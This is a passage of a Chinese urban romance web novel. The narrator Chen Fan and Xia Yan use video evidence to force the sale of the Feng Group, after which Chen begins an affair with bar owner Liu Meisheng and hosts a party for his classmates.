“证据在这里。”我将冯天宇的手机扔在了桌子上,道:“你应该谢谢你儿子的不良嗜好,他这么喜欢录视频,自己的罪证都在这里。”
冯名城点开手机视频,那一刻,他脸色都变了,冯天宇整个过程,都被自己录了下来。
“这个蠢货!”
“妈的,我怎么生了这么个蠢货!”
冯名城狠狠将手机摔了出去,他想要摔坏手机,销毁证据,我冷冷道:“砸吧,反正我已经备份了!”
我的一句话,让冯名城直接瘫坐在了椅子上,感觉这个人瞬间老了十岁。
“夏颜,你想怎么收购冯氏集团?”
终于,冯名城松了口。
“我以现在股价,回收你的公司,最后在减去1300万。”夏颜说道。
“为什么减去1300万?”冯名城问道。
“因为那是我支付给刘伟的信息费,你和冯天宇所有灰色收入,我都是有证据的!”
“妈的!”冯名城咬牙切齿道:“刘伟这个王八蛋,背信弃义!”
我在心里不得不佩服夏颜,冯氏集团现在的股价都跌成白菜价了,现在回收,等于白捡一样。
“这里是合同,你想出售,就签字,不想,我们就法庭见!”
夏颜直接放出了狠话,她也耗尽了所有的耐心。
“我签字,你就放了天宇?”冯名城问道。
“当然。”
冯名城特别不甘心的以1300万的价格,打包出售了冯氏集团。
夏颜看了看合同,白纸黑字写的清清楚楚,她说道:“我会撤销诉讼,不过,你和冯天宇必须离开海城,我不想再这里在看到你们!”
018柳媚笙的要求!
杀人诛心!
冯名城做梦都没有想到,自己在海城经营了半辈子,最后落了个被赶出冯氏集团的下场。
没错,就是被赶出自己创办的公司!
夏颜让财务给冯名城转了钱,就直接赶他出公司,还是当着所有员工的面,这一招让冯名城颜面扫地。
所剩无几的员工们顿时引论纷纷。
“这个女人是谁啊?能把冯总都给赶走?”
“我听说是冯天宇的未婚妻,好像叫夏颜,听说和夏家那边有关系,她昨晚在酒会上就拒绝了冯天宇。”
“拒绝的好,冯天宇那混蛋根本配不上这个夏颜。”
外面的声音越来越大,我和夏颜在办公室里都能听到,他们都要离职了,当然无所顾忌。
夏颜微微皱眉,显然她是不喜欢被人议论,于是她走出办公室,对着员工们说道:“我叫夏颜,从今天起,冯氏集团正是改名为凡颜集团,总经理为陈凡,我为董事长,如果你们愿意留下来工作,我会继续支付你们薪资报酬。”
夏颜的一番话顿时让员工们目瞪口呆。
“夏总,冯氏集团这个月的工资还没有给我们发。”一个女孩举手示意说道。
“该给你们的工资,我会从凡颜资本给你们,我夏颜,绝不会拖欠工资!”
夏颜的一番话,引得在场员工掌声雷动,原本死气沉沉的公司,顿时变得氛围高涨!
“谢谢夏总,我们愿意留下来和夏总再创辉煌!”
“你们也不用谢我,给你们发工资,是陈总的一番心意。”
夏颜说话的同时,轻轻推了我的腰一下,把我推到众人的面前,她小声在我耳边提醒道:“陈凡,属于我们的时代到来了,他们以后就是你的员工了!”
夏颜的一句话,让我打了鸡血一般激动,但我还要故作镇定,我前几天还情场失意,没想到转眼间我就成了一家公司的总经理。
而当初那个不可一世的冯天宇,此刻连给我提鞋的资格都不配。
“去和你的员工讲两句吧。”夏颜冲我笑了笑,她的笑容让我感到安心和舒适。
她没有食言,承诺搞垮冯氏今天,就分我一半的股份。
于是我自然的走到众人面前,我一脸认真道:“各位同事,从今天开始,我们就是一家人,希望我们同心同德,再创辉煌,凡颜资本绝对不会走冯家的老路,我向大家保证,工资照发,奖金照发,年终奖也会有!”
啪啪啪!
我的一席话,得到了众人的掌声,员工们的脸上每个人都洋溢着笑容,我也打过工,当然知道打工人的想法,无非就是多点工资,多点奖金,多点年假。
我的内心在躁动,我已经迫不及待的想要在公司大展拳脚了。
处理好员工们的薪资问题,我和夏颜就回到了办公室。
夏颜踩着高跟鞋,滴滴答答的走到原本属于冯名城的位置上,她拉开老板椅,笑吟吟的对我说:“陈老板,这个位置属于你了。”
此刻的她那里是高高在上的夏总,到像是一个女秘书。
我笑着说道:“你不坐吗?”
“哎呀,人家就是陈老板的小秘书而已,我怎么敢坐老板位置呢?以后人家都听你的,好不好,宝贝!”
夏颜伸手将我拉了过去,然后一把将我推倒在椅子上,她双手勾住我的脖子,整个人坐在了我的腿上,她魅惑道:“陈总,这个姿势,你喜欢吗?”
“妖精!”
我低声说着的同时,向她的嘴唇狠狠地吻去。
她也热烈的回应着我,她抱着我越来越紧,我能感受到夏颜对我的在乎。
我们两个人不知道抱了多久,最后,我在她的脖子上重重的留下了一个吻痕。
“讨厌啦~”夏颜摸了摸自己的脖子,娇嗔道:“你这样子,别的小哥哥都不敢靠近我了。”
“你还想要别的男人?”我勾着她的下巴质问道。
“哎呀,就是和你开玩笑么,省的你得到我了,就不珍惜了。”
夏颜声音伤感,语气低沉,脸色甚至有些愁容。
看到她这样,我刚要安慰她,没想到她忽然多云转晴,脸上笑容明媚,她翘起屁股,一下子坐在了我的办公桌上,她翘着二郎腿,整个人妩媚至极。
“老板,这个姿势你喜欢吗?”
“怪不得男老板都喜欢搞女秘书呢。”
“老板,你这么有魅力,我都想搞你了!”
我拉着她的手,笑着说道:“你可真撩人啊,我真是捡到宝贝了!”
“那老板可要好好珍惜我呦!”
夏颜拉住了我的手,她故意伸展了一下身体,将美好的曲线展现给我。
我知道,她这是在向我撒娇。
她指了指窗外,对我说道:“陈凡,我想我是爱上你了,我想要把整个世界的美好都送给你。”
我不是什么纯情少男,但夏颜说的话,我都相信。
至少到现在,她答应我的事情都做到了。
而且,我也有自信,因为我是夏颜第一个男人。
夏颜是个工作狂,她接受冯氏集团后,开始让自己的手下人进入公司,她要在最快的时间内,将冯氏集团变成自己的公司。
“老公,今晚我带着小张他们加班,晚上就不回家了,你要是太想我的话,就出去和同学喝酒吧。”
你听听,我好像找了个演员老婆。
夏颜现在是我的女友,可她还是那个我当初喜欢的古灵精怪的女孩。
下午的时候,冯氏集团的招牌就被撤掉,转而换上了“凡颜资本”的招牌。
我站在大厦前,特意将这个照片拍了下来,然后发在了朋友圈。
“新公司成立,未来可期!”
当我这条朋友圈发出去,立刻就被众多好友点赞评论。
“我草,凡子,你这么牛逼,都开公司了,牛逼!”张帆跟着评论。
“陈总,提携一下。”李刚评论。
“草,要是提携,也先提携我。”张帆评论。
“陈凡……恭喜你……我能见见你么?”
我的微信收到了苏韵的消息提示,我冷笑了一声,全当漠视。
我不删苏韵的微信很简单,我就是要让她亲眼看着,我是如何做大做强,如何搞到极品尤物!
我要告诉她,离开她,我找的女友比她强一万倍!
“凡子,晚上酒吧聚会!”
“好!”
我收到张帆的电话,果断答应了同学聚会,因为我现在身份不一样了。
我也很享受被同学捧着的感觉。
“小弟弟,你是不是忘了陪姐姐了?”
走出公司,我就收到了柳媚笙的消息。
我这才想起来,按照约定,我要陪她一宿
019柳媚笙的故事!
当初为了救夏颜,我情急之下答应柳媚笙陪她一宿,现在她真的找我了,我没法逃避,男人说话就该言而有信。
我思考了一下,决定还是给柳媚笙回拨一个电话。
当电话被接起来的那一刻,柳媚笙性感妩媚的声音响起。
“呦,小弟弟美人在侧,是不是忘了姐姐了。”电话里的柳媚笙幽怨道。
“柳姐说的哪里话,我忘了谁都不能忘了姐姐啊。”
经过苏韵的背叛,我整个人的性格也有了改变,就是对待女人,一定要嘴甜心狠,女人都喜欢哄着她的。
既然柳媚笙撩我,那我也可以反过来撩她,男女关系,势均力敌才有意思。
“小坏蛋,就你嘴巴甜,姐姐怎么那么喜欢和你说话呢?要不要来姐姐这里坐一坐?”柳媚笙诚挚的邀请我。
“好啊。”我说道。
“青山小区601。”柳媚笙给了我一个地址。
“柳姐,这是让我去你家么?你该不会对老弟我图谋不轨吧?”我试探性的问道。
上次柳媚笙提出来让我陪她一宿,现在她就给我她家的地址,这意图太明显了,她该不会是想睡我吧?
“咯咯……”电话里传来柳媚笙银铃一般的笑声,她娇嗔道:“你这个小弟弟,太聪明可不好玩了,姐姐就那么饥不择食啊,快来吧,姐姐想你了。”
还没等我回话,柳媚笙就立即挂断了电话。
我心想,美女都喜欢挂人电话么?
我开着车,去往青山小区,这一路上,我脑海里不自觉的浮现出柳媚笙的婀娜多姿,玲珑有致的身影,她的妩媚妖娆,犹如妲己,也是人间难得的尤物。
无论今晚发生什么,我都不会告诉夏颜,就算真的和柳媚笙发生了什么,也是我曾经答应过她的,那个时候,也是为了救夏颜不得已答应。
我的车开进了青山小区,这在海城只是一个非常普通的小区,像柳媚笙这种级别的人物,怎么会住在这里?
我心里划了一个问号。
我敲响了柳媚笙的房门,没过多久,门就打开了。
“来了?小弟弟?”
柳媚笙眉毛一挑,眼角含情,她声音极其好听,就像是一个小勾子,一下子勾住了我。
“柳姐好。”我眯着眼睛笑呵呵的打招呼。
“叫姐姐。”柳媚笙点了点我的鼻子。
“姐姐好。”
“真乖!”
柳媚笙拉着我的手,进入了房间,她的手心很惹,摸起来很舒服,我没想到,她能牵着我的手。
我进了屋子,四下打量着房间,这里就是一个很普通的公寓,装修的很普通,摆放的家具也很普通,确实和柳媚笙的身份有些格格不入。
“柳姐,你平时就住在这里?”我好奇的问。
“嗯?怎么了?”柳媚笙将我按在了沙发上。
“和你的身份不符合啊,你可是海城有名的富婆。”我笑着说道。
“什么富婆,单身狗才是真的。”
当说到单身两个字的时候,柳媚笙故意看了我一眼,似乎是在给我传递什么信号。
她倒了一杯热茶,递到了我的面前,询问道:“冯家的事情,我也听说了,后续的事情处理好了吗?”
我点了点头,将夏颜如何逼走冯名城的事,我们凡颜资本确立的事情,都告诉了柳媚笙,说到底,柳媚笙也是帮了我的忙。
柳媚笙听后,眉头微微紧促,她许久才开口道:“小弟弟,姐姐还是要提醒你,事出反常必有妖,我了解冯名城,他走的快,反而不是什么好事。”
“你是说他后续还会报复?”我着急的问了一嘴。
“不是没有那个可能,如果是我,我不会离开海城,这里可有我毕生的心血。”
柳媚笙的话让我陷入了沉思,没错,我和夏颜都沉浸在胜利者的喜悦当中,却忽略了人性。
“怎么了?担心了?”柳媚笙坐在我身边,手放在了我的肩膀上,关心的问。
我摇了摇头,道:“不担心,冯家的事情已经结束了,属于我的新时代来了,成王败寇,就是这个道理。”
“是啊,都结束了,每一段结束都意味着过去,每一段开始,都意味着新生,只不过……过去的会被遗忘么?”
柳媚笙的状态有些不太对,少了往日的聪明干练,反而多了几分忧愁。
“柳姐今天有心事?”我放下茶杯问道。
“怎么了,就许你陈老板有人生感慨,我一个小女子就不能感怀伤秋了?”
柳媚笙的娇嗔如同少女一般,她的声音都让我听醉了。
“我这不是心疼柳姐,所以关心一下。”
“呸!你们男人,就很会说好听的,你要是真心疼我,就陪姐姐喝几杯!”
柳媚笙说着走到酒柜前面,倒了两杯红酒,然后递给我一杯道:“今天陪着姐姐喝个一醉方休!”
柳媚笙说着一饮而尽,颇有女中豪杰的意思,我见状也直接干了,她坐在我的身边,一杯接着一杯,没有多说话,我知道,她是来情绪了。
我透过她的眼睛,能看到她眼底的忧伤,那种忧伤细腻绵长,想必,她应该有她的故事。
“陈凡……”
不知道喝了多少杯,只知道柳媚笙的脸红透了,耳根到脖子全红了,她的眼神也开始迷离,她终于喊了我的名字。
“陈凡……你知道吗?你长的很像一个人……”
我的心微微一紧,她要说心里话了吗?
“像谁?”
我顺着柳媚笙的话问道。
她侧过头,目光迷离的看着我,她伸出手,抚摸着我的脸颊,她的手指细腻却又温柔,似乎想要将我的每一寸肌肤都摸到。
直到,我看见她的眼里泛起了红。
我这个人最见不得女人哭,尤其是漂亮女人,我抬起手,擦掉了眼角的泪,就是这么简单的一个动作,却让柳媚笙破防,她的眼泪夺眶而出。
“那个人,应该对你很重要吧……”
我小心的提问,声音温柔,生怕吵到了她。
她趴在我的肩膀上,搂着我的胳膊,呜呜的哭着,许久,她终于说道:“他是我唯一爱过的男人,可他现在已经……死了……”
“为我而死……”
020留下来陪我!
“那他一定很爱你……”
我不知道该如何安慰眼前这个女人,但我知道,一个男人能为女人赴死,除了爱,还能有什么呢?
听了我的话,柳媚笙仰头灌了半瓶红酒,殷红的葡萄酒沾在了她的嘴唇上,犹如泣血。
她的心里一定非常的难受。
我现在能做的,就是陪伴,我似乎知道了柳媚笙对我大献殷勤的理由,就是我长的像她死去的白月光。
初恋、白月光、为她心甘情愿的赴死,这个男人绝杀了柳媚笙,恐怕这辈子她都忘不掉了。
“他叫阿峰……是我唯一爱过的男人……”柳媚笙的声音低沉微弱,她眼神空洞,整个人陷入了回忆当中。
“我们两个都是孤儿,从小相依为命,我们一起学艺,一起闯荡,他就像你一样,眼神很硬,骨头很硬,一副天不怕地不怕的样子。”
柳媚笙说到这里,她的嘴角露出了微笑,只不过在我看来,那是一种惨笑。
“每次我遇到危险,阿峰总是第一个挡在我的面前。”
柳媚笙灌了一个口,深吸了一口气,似乎下定了决心,继续说道:“那年,我们被仇家堵在了一条胡同里,阿峰为了救我,挡了十几刀……”
柳媚笙低着头在诉说,忽然,她抬起头看着我,眼含热泪,道:“我的手被划了个口子,我都疼的不行,陈凡,那可是十几刀,他该有多疼啊!”
柳媚笙双手捂着脸,呜呜痛哭:“都怪我,如果我当初听他的话,如果我不那么年轻气盛,他是不是就不会死……”
房间里寂静的可怕,只能听见柳媚笙哽咽的声音。
我抽出纸巾,递给了柳媚笙,道:“没有如果……这一切都是命。”
听了我的话,柳媚笙抬起头,她眼神里闪过一丝的欣喜,她握着我递给她纸巾的手,道:“陈凡,你看我的眼神,就和他看我的眼神一模一样,那么倔,那么不不甘,又好像心里藏着点什么事。”
柳媚笙紧紧拉着我的手,然后将我的手放在了她的胸口,她用一种近乎偏执的目光看着我,她欣喜道:“陈凡,你说老天是不是把他还给我了,只不过是用另一种方式!”
柳媚笙眼里闪着期待的目光,她在等我的回答,或者说,她是在等我的肯定。
刹那间,我明白了!
我终于懂了,为什么第一次见面,柳媚笙就在我面前展示的风情万种,为什么第一次见面,她就表露出对我有意思。
原来这一切,都归功于我长的像她的白月光。
我,陈凡。
在她的眼中,就是阿峰,就是她爱过的证明。
我有些无奈,更有些荒谬。
我并没有被柳媚笙当做替代品的不悦,因为我知道,长的像阿峰并不是我的错,我只不过对柳媚笙的经历产生了一丝的怜悯。
这个在海城举足轻重的女人,没想到却被心魔纠缠这么多年。
可见她,这些年活的并不快乐,我并没有嘲讽柳媚笙的意思,对于她来说,活在过去,活在梦境里,何尝不是一种幸福。
每个人,都有每个人的活法。
可能这种,更适合柳媚笙。
“柳姐,我是陈凡……我不是你的阿峰……”
我不是一个自欺欺人的人,我犹豫了一下,还是小声的提醒她。
我知道,我的话可能很残忍,但事实就是如此。
“我知道!”柳媚笙情绪有些激动,她攥着我的手,手指甲都嵌入了我的肉里,她情绪激动道:“我知道你不是他,我知道他已经死了,死在了我25岁那年!”
柳媚笙的眼泪就那么肆无忌惮的滴落在我的手上,她看着我,眼里有乞求,也有无助,还有执着。
“我知道你不是他,可是你和他太像了……”柳媚笙贴近我的胸膛,她仰着头对我说:“陈凡,看到你的那一刻,我就知道,他又活过来了,陈凡,就当可怜可怜我好么?让我假装他还在好吗?”
我其实很想拒绝柳媚笙,可她的眼神,让我实在不忍心说出口,更何况,我还欠她一个人情。
此时的柳媚笙,不在是海城跺跺脚,都要颤抖的人,她现在就是一个被遗憾填满,忘不了过去的可怜女人。
我的出现,就是她的救命稻草,她拼了命的想要抓住我。
“陈凡,不要走好吗?陪陪我!”
柳媚笙的话没有说完,她就已经吻了过来!
有那么一瞬间,我脑子里,浮现出了夏颜的影子,我的理智告诉我,不能这样,但我的身体却没有推开柳媚笙。
我知道,我的内心并不想拒绝柳媚笙。
我只是小声说道:“柳姐,我有女人了。”
我以为这句话可以让柳媚笙清醒,可她并没有退却。
她妩媚一笑,说道:“我好看吗?”
真特么撩人!
如果说夏颜是妖精,那我怀里的柳媚笙就是一个妖孽!
“陈凡,你不会只有一个女人的,相信我的话。”
“柳媚笙,你看清楚了,我不是你的阿峰!”我再一次提醒着这个女人。
“我知道你是陈凡,我一直都知道,我喜欢你,喜欢你的霸道!”
柳媚笙用那双盛满泪水的眸子,深情的看着我,她抱紧了我!
这个夜晚,注定我无法走出她的房间。
她闭着眼睛,热情的拥抱着我。
我预感,这一晚,我们两个人都要沦陷在个小小的房间……
021你是我的男人
午后的阳光,照在了我的脸上,酒醒后的我,睁开了眼睛。
我转头看向一侧,发现柳媚笙早早就醒了过来,她坐在窗边,手指夹着一根香烟,她目光望着窗外,眼神有些迷离,似乎是在思考什么。
看到我醒了,她掐灭了手里的香烟,转而走向了我,她坐在我身边,将头枕在了我的肩膀上。
我知道,此刻的柳媚笙是清醒的,那她现在又钻进我的怀里,是什么意思?
我没有推开柳媚笙,只是向她伸了伸手,柳媚笙立刻心领神会,她拿出一根烟,自己叼在嘴里,点燃,抽了一口后,手指夹着放到了我的嘴里。
我瞄了一眼,烟头上还有柳媚笙的唇印。
我无奈的笑了笑,怎么美女都喜欢把唇印给别人?
“醒酒了?”我抽了一口烟,瞄了一眼柳媚笙略有深意的问道。
被我这么一问,柳媚笙心思聪明,她当然知道我说的什么意思,无非就是昨晚她把我当成阿峰睡了的这件事。
“嗯……”
柳媚笙轻声回答,声音软软的,她慵懒的靠在我怀里,就像是一只刚睡醒的猫。
我刚要开口说话,柳媚笙的手指忽然放在了我的嘴上,她仰着头,望着我,温声细语道:“我知道你是陈凡,我从始至终,都知道。”
柳媚笙的话,让我不禁一愣,她知道我不是阿峰,也就是说她并没有把我当成替代品?
柳媚笙看着我,她媚态翩然,她又恢复了那个妩媚女王的模样,和昨晚的她简直判若两人。
柳媚笙将我嘴上的烟夺了过去,动作霸气又温柔,她吸了一口烟,说道:“阿峰是我前半生的记忆,我忘不掉,但是你陈凡,现在,是一个活生生烙在我生命里的人,我柳媚笙浪迹江湖这么多年,分的清死人和活人的区别。”
柳媚笙深深吸了一口烟,她吐了一口烟圈在我的脸上,她笑着说:“我承认,当初是因为你这张脸长的像他,我才对你动了心思,我才会在夏颜遇到危险的时候,答应帮助你,可现在,我不这么认为。”
“哦?改变对我的印象了?”
我也毫不客气,将柳媚笙嘴上的烟夺了过来,抽了一口,然后将它熄灭。
男人和女人之间的较量,无非就是身体和心里,要么睡服她,要么征服她。
我承认柳媚笙社会经历比我丰富,但这并不代表,她就会处于上风,和这种极品尤物相处,一定要打好底子,如果底子没打好,以后的地位只会卑微。
没有哪个女人是喜欢舔狗的,她们只会慕强。
柳媚笙指了指我的心,说道:“我中意你,是因为你的心里有一股狠劲儿,你对自己狠,对敌人只会更狠,我相信,狭路相逢,你绝对会对敌人下狠手,这一点,阿峰不如你,如果当初阿峰能下狠手,我们也不会被仇家追杀……”
“所以呢?”我抬起头,看着柳媚笙问道:“你想要说什么?”
我从来不认为,柳媚笙这种绝顶聪明的女人,会无缘无故的找我,昨晚她找我,是为了得到我的身体,那今天呢?她和我说这么多的话,又是为了什么?
都是成年人,我更喜欢开门见山。
“我想说的是……我不想你走。”
柳媚笙的语气柔和,态度柔软,她放低了姿态,没有了往日在酒吧里的那股张扬劲儿。
她此时此刻,就是一个女人,一个渴望被爱、被关怀的女人。
她拉着我的手,目光恳切的求我,道:“陈凡,可不可以不要走,我不会让你成为睡的替代品,你就是你,留在我的身边好吗?姐姐需要你。”
一句姐姐!
就是最动人的钩子。
柳媚笙收敛起了昔日的光芒,还有算计,她热烈而真诚的表达自己的内心,她动情的说道:“这座酒吧,让我费心费力,我打拼了七八年,才在海城有了立足之地,可我毕竟是个女人,我也需要男人疼……男人爱,需要男人为我遮风挡雨……”
又是一个找我遮风挡雨的女人?
怎么,我陈凡是雨伞么?
我直接说道:“柳姐,在海城追求你的人应该不少吧,我如果分析的没错,他们都是有地位的人吧?”
就凭柳媚笙能快速的找到夏颜的位置,她的人脉,绝对厉害。
柳媚笙苦笑了一笑,道:“都是贪图我的臭皮囊而已……”
柳媚笙知道自己天生貌美,可貌美的人容易红颜祸水,她的美貌给她招来了不少的麻烦。
“姐姐可不是臭皮囊,你香的很……”
说着,我故意在柳媚笙的秀发上闻了一下。
柳媚笙的眼中,闪过意思的欣喜,她兴奋的问道:“你说的是真的吗?”
“当然,我怎么可能骗姐姐你呢?”我拍了拍柳媚笙的头。
柳媚笙笑了,笑的很开心,她知道陈凡是有女人的,可她还是忍不住喜欢陈凡,她已经许久没有动心了。
这一次,柳媚笙只想为自己而活。
她已经错过一次真爱,这一次,她不想在留遗憾了。
在这个红尘世界,能遇到个喜欢的人,对于柳媚笙来说,真的不容易。
柳媚笙在此之前,有调查过陈凡,当她知道陈凡为了苏韵,将所有的工资都给她花时,她不禁感叹这个男人的真诚。
易求无价宝,难得有情郎。
柳媚笙紧紧的挽住了陈凡的胳膊,她害怕自己一放手,这个男人就跑了。
她看着陈凡的眼睛,认真且坚定的说道:“陈凡,留在我身边吧,不仅仅是我需要你,我觉得你也是需要我的。”
“我们可以联手,我们可以合作,我们可以拿下比冯氏集团更富有的集团,只要你愿意留在我身边,我可以做你刀子,可以做你温暖的床,你想要我怎么样,我就可以怎么样。”
我听着柳媚笙的表白,心里不动容是假的,可我也没有全信,我已经在苏韵身上吃亏了,我还能再吃一次么?
女人的嘴,哄起人来不偿命。
可她背叛你的时候,却能要你的命。
我没有直接表态,但也没有拒绝。
我只是盯着柳媚笙的眼睛,问道:“我是你的合作伙伴?”
“不!你是我的男人!”柳媚笙迎着我的目光说道。
“柳媚笙,你最好记住你今天的话,记一辈子!”
022男人的快乐!
“记住了,小弟弟,你好强制,我好喜欢啊!”
柳媚笙点了点头,模样有些可爱。
我摸了摸她的脸,转身下床去浴室。
“要一起洗澡么?”柳媚笙笑着问。
“不要,一会儿我还要去夏颜那里。”
我的拒绝之意很明显了,我不想让夏颜发现什么端倪,这丫头冰雪聪明的,我必须得把自己的身体洗干净,一点女人的香味都不能有。
我在里面冲澡,柳媚笙在外面咯咯的笑了起来。
“真的是情人眼里出西施吗?为什么听你洗澡,我都喜欢呢?”
“小弟弟,你可太有魅力了,我对你真是越来越爱了。”
你听听看,这女人就是在故意勾引我。
我一句话也不回答,冲完澡后,我彻底将身体晾干后,才走出浴室。
我闻了闻身上的衣服,还是有柳媚笙身上的香水味,不仅皱了皱眉头,看来一会儿要去买一套新衣服了。
“呦,看看你,还真是心疼到夏颜到骨子里了。”柳媚笙笑吟吟的说,可我分明听到她话里的醋意。
“那当然,我可是她第一个男人。”
我毫不掩饰自己对夏颜的疼爱,不管我以后有多少个女人,对于夏颜来说,我就是她的白月光。
“啧啧,真是让人羡慕~”柳媚笙向我抛了一个媚眼。
我从柳媚笙家里出来,先是给夏颜打了个电话,得知她没有吃午饭,就特意去商场给她买饭,顺便给自己买了一身新的衣服,旧衣服我直接就扔了。
从商场出来,我直接开车去凡颜公司。
一路上,我心情都特别的愉悦。
有自己的事业,有属于自己的美人儿,这种生活,真是舒爽得很。
“陈总好。”
“陈总早。”
当我进入到凡颜公司时,员工见到我纷纷向我打招呼,我也点头表示回应,这让我瞬间有了当老总的感觉,那种身份上的转变,让我非常爽。
我推门走进办公室,夏颜坐在老板椅上工作,看见我来了,她漏出一个温柔的笑容。
“早。”
她笑着望向我,只不过一个字,也无法掩盖她眼角看向我的温柔。
“昨晚忙到几点?看你眼睛都有红血丝了。”我走到她身边,将饭菜放到桌子上,道:“你这样,我会心疼。”
“凌晨一点多,就睡了几个小时,不过也不算白忙,所有冯氏集团的过户手续都准备就绪了。”
我将饭菜打开,递到夏颜的面前,温柔道:“吃点吧,我的大小姐。”
“嗯哼~”夏颜满意的轻哼了一声,道:“哎呀,有老公疼可真好,我运气真好,找了个专门给我买预制菜的男人!”
夏颜吃了几口饭,满血复活,又恢复了那个喜欢捉弄我的样子。
“就给你吃预制菜,吃坏了,我就能继承你所有的家产。”我故意露出一个凶狠的表情,冲着问道:“小妞儿,就问你怕不怕!”
“咯咯~”夏颜捂着嘴笑了起来,她说道:“不怕,生是你的人,死是你的鬼,这点钱给你了,本小姐大气不?”
我知道夏颜这是演上了,我随即配合她,立即向她竖起了大拇指,夸赞道:“夏小姐真乃女中豪杰,在下佩服佩服,那把这饭钱报销了吧!”
“切~”夏颜白了我一眼,道:“公司都给你了,我还差这点饭钱么?”
“什么?”我微微一愣。
夏颜看我惊讶的样子,露出了一个狡黠的笑容,活脱脱的像一个狡猾的狐狸,她从抽屉里,拿出了几个文件,递给我看。
我打开一看,全部都是凡颜资本的,法人和董事长都是我一个人,我有些不敢相信?
“都给我了?”我有些疑问道:“当初不是说好了么,一人一半,这怎么全给我了?”
“当初是当初,现在是现在,现在你是我的男人,我说过,我会将世界所有的美好都给你,可能这也是我最后能为你做的事了……”
“你等等!”我忽然打住了夏颜的话,问道:“你说什么?什么叫最后能为你做的事了?”
夏颜的话让我不免有些紧张,是发生什么不好的事情了吗?
“陈凡,如果有一天,我没有钱了,你还会爱我么?”
夏颜一脸认真的看着我,她的样子不像是开玩笑。
我摸了摸她的头,关心的问道:“怎么了,是不是出了什么事情了?”
夏颜摇了摇头,她露出一个笑容,问我:“没什么,就是想知道,如果我没有钱了,你还会不会在我身边。”
我没有马上回答她的问题,我静静的看着她,我能感受到她的内心,夏颜很想知道我的答案。
她也会为我的态度感到惶恐不安么?
她是在对我患得患失么?
无论是哪种,都说明这个女人非常的依赖我。
我俯下身,轻轻搂住了她的肩膀,声音低沉而清晰的说道:“夏颜,我陈凡喜欢的是你这个人,不是你的钱,有钱,你是我的女人,没有钱,你还是我的女人,我说过,我一辈子都不会放开你的手,除非我死了,否则我绝不会离开你。”
我的话如同温暖的泉水,滋润着夏颜的心灵,她的眼光微红,她扑进了我的怀里,紧紧的抱住我的腰,她温柔的对我说:“陈凡,谢谢你……”
我轻轻拍着夏颜的背,感受着她的依赖与信任,这一刻,我能感受到,我和她的感情在迅速的升温,当一个女人信任你的时候,她将毫无保留的爱你。
“我就知道,你是我最坚强的后盾,有了你,我什么都不怕!兵来将挡水来土掩!”
夏颜两手化刀,在空中比划着,颇有一番杀伐决断的意思。
她向来就是如此,做事从不犹豫。
我陪着夏颜开会,陪着她工作,她开完会后,有些疲惫,她说道:“老公,今晚我可能还得加班,你继续找你的兄弟们玩吧。”
“这就不要我了?”我笑着说。
“哎呀,我这不是给老公赚米呢么,多给你赚点钱,争取让你娶上三妻四妾,让你提前过上地主老爷的生活!”
“放心,到那个时候,本老爷一定让你做大。”
“滚!陈凡,你给我打车滚!我不想看见你,讨厌死了!”
023苏韵的跪求!
下班时间,公司的员工都走了。
只有夏颜和她的亲信们还在加班加点的工作,按照夏颜的计划,她要在这两天内,完成公司所有的交接和过户。
她让我签署了好多文件,说让我坐享其成,我到也欣然接受。
“老公,晚上我还要和小张有事要处理,你该干嘛干嘛去吧。”
“真无情,你这个女人,吃我的饭,睡我的人,提了裤子不认账!”
“谁让我国色天香,倾国倾城,你甘愿拜倒在我的石榴裙下呢!”
夏颜冲我做了一个鬼脸,然后就将我推出门外,她小声在我耳边说:“老公,你在这里,我根本没办法专心工作,等我忙完的,好好补偿你呦!”
“那我就等着你了!”
说着,我在夏颜的翘臀上摸了一把。
“色狼!”夏颜笑骂一声,眼里藏不住的柔情。
我走出凡颜资本,心里说不出的畅快,在海城,两个尤物已经被我拿下,作为男人我特别有成就感!
我刚坐进迈巴赫,好兄弟张帆的电话就打了过来。
“喂,凡子,你怎么回事,昨天取消聚会,今天你还要取消啊?”
张帆在电话里开始吐槽我,如果不是昨天柳媚笙半路截胡,我肯定就和他们喝酒去了,富贵不还乡,如锦衣夜行,我当然也想让这些同学,看看我现在的风光。
“昨天真有事,要不然,这样,今晚,魅惑酒吧,我请客,怎么样?”
我直接将地址选在了柳媚笙的酒吧,这可算是海城最好的酒吧了,牌面绝对够。
“我草,凡子,你真够意思,晚上七点,一醉方休!”张帆笑呵呵的挂了电话。
我直接打开手机拨通了柳媚笙的电话。
“小弟弟,是想我了吗?这才分开几个小时,你就按耐不住思念了?”
电话里的柳媚笙依旧火热撩人,她总是直接表达自己的情感,这点让我很喜欢,毕竟,谁能拒绝的了打直球的人呢?
“柳姐,晚上我要在你那搞个同学聚会,给我留个包房。”
“这还不简单,快来吧,我的小心肝,我想死你了,今晚消费,由姐姐买单!”
柳媚笙言语中透露出喜悦,欢快的如同跳动的音符。
我开车直接去往魅惑酒吧,张帆直接在微信群里发通知:晚上七点,魅惑酒吧,陈总请大家吃饭!
“去!”
“不见不散!”
“陈总牛皮!我一定来!”
我的微信群响个不停,这些同学们也算是给面子,纷纷响应,还没到七点,这些同学们都过来了,我看了下,大概来了将近二十人。
柳媚笙也特别给力,她把最豪华的包房留给了我们,这件包房是个豪华套房,有全套的KTV影院,还有酒柜,里面摆放的都是名酒,好多人都围在酒柜前观赏。
“喜欢哪瓶?我请!”
我走了过去,笑着和同学打招呼。
“我去,凡子,你现在真是咱班混的最好的了,冯家那么多的产业,你说吞了就吞了!牛气!”
张帆搂着我的肩膀,脸上特别自豪,那感觉就好像他吞了冯家一样。
“凡哥,以后我可要跟着你混了,劳烦凡哥多提携一下小弟。”周睿也走到我跟前,向我敬酒。
“没问题,有合适的项目,咱们可以一起做,有钱大家一起赚么!”
周睿,我曾经的班长,为人势利眼,上学的时候,就看不起我们家庭普通的,没想到现在竟然主动巴结我了。
不过,这就是我想要的效果,我想看到的就是曾经看不起我的人,如今是如何讨好我。
“来来来,咱们都敬凡哥一杯,以后凡哥带着咱们赚钱!”刘新也举着杯凑了过来。
我记得,他当初是周睿的死党,现在为了钱,也愿意和我称兄道弟。
“想当年,我就看出来凡哥不是一般人,如今果然是真龙出海啊!”
论起拍马屁的能力,周睿确实厉害,在他的话语下,同学们都过来向我打招呼,他们向我敬酒,递烟,说着天花乱坠的马屁话,言辞中都是尊敬,态度上略显谦卑,我都照单全收,因为我享受这种众人仰望的感觉。
五年军旅生涯,无人问津。
一招吞并冯家,众人贺喜。
这个世界,真的现实,原来义气,情义,都不重要了,在他们的眼里,钱才是一切。
我被众人簇拥在主位,我一杯接着一杯喝酒,可我的意识很清醒,我也学会了逢场作戏。
